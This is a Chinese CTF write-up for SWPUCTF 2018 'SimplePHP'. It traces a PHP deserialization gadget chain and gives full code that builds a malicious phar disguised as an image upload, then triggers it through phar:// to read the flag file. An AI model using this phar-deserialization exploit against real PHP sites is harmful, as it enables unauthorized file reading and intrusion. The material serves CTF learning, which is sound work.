SWPUCTF 2018SimplePHP

界面简洁 不错不错
查看文件那可以看到一个**?file= 感觉有任意文件读取漏洞**
nice 可以 拿到file.php 然后有这个知道还有function.php class.php
那些文件的源码
链接:https://pan.baidu.com/s/1cNEZut1YESQmT5bI2YCduQ
提取码:1234
太长了就不放了
文件包含被过滤了 class.php那边 确实过滤了f1ag.php

1
2
3
4
5
6
7
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

连unseriaze() 都没有 但是看到了个phar感觉可以利用
首先得找到触发的魔术方法
C1e4r类有_ _destruct() 在对象被销毁时调用 程序结束时会被自动调用 销毁对象

1
2
3
4
5
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}

还有这个echo也可以利用

show类中_ _toString()
_ _toString 将一个对象转化成字符串的时候自动调用 比如echo print 会被调用并返回一个字符串

1
2
3
4
5
public function _ _toString()
{
$content = $this->str['str']->source;
return $content;
}

利用这个$this
Test类中_ _get()
_ _get() 当未定义的属性或没有权限访问的属性被访问时会调用该方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}

利用$this->get —>$this->file_get($value) —>base64_encode(file_get_contents($vale));
调用了file_get_contents 函数的file_get函数很重要 一般到调用了file_get_contents就可以认为链的结束

触发:
C1e4r::destruct()->show::toString()->test::get()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
class C1e4r
{
public $test;
public $str;
}

class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;

}

$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source'] = "/var/www/html/f1ag.php";
$c1e4r->str = $show; //利用 $this->test = $this->str; echo $this->test;
$show->str['str'] = $test; //利用 $this->str['str']->source;


$phar = new Phar("aaa.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定的
$phar->setMetadata($c1e4r); //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名
$phar->stopBuffering();

?>

phar后缀被禁止了 得改成gif

1
2
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";   

得知道一下被改后的文件名

1
aaa.gif222.90.67.205 md5 一下

然后发现一个很神奇的 上传目录是开着的 ┗|`O′|┛ 那都不用算了

1
file.php?file=phar://upload9030a3b2a4bb01f912500bf84dcc370d.jpg

得到base64加密的内容 解码一下就能拿到flag了